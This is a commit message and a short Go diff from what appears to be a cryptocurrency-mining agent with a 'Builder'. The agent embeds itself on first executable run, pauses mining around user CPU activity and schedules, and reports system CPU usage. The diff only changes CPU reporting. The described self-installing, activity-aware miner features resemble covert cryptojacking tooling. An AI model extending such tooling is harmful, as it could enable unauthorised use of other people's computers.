Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

agent/client/client.go

@@ -201,6 +201,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
 			avg15m /= float64(len(samples))
 
 			cpuPct, memPct := c.reporter.Usage()
+			if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
+				cpuPct = sysCPU
+			}
 			c.mu.Lock()
 			submitted := c.sharesSubmitted
 			accepted := c.sharesAccepted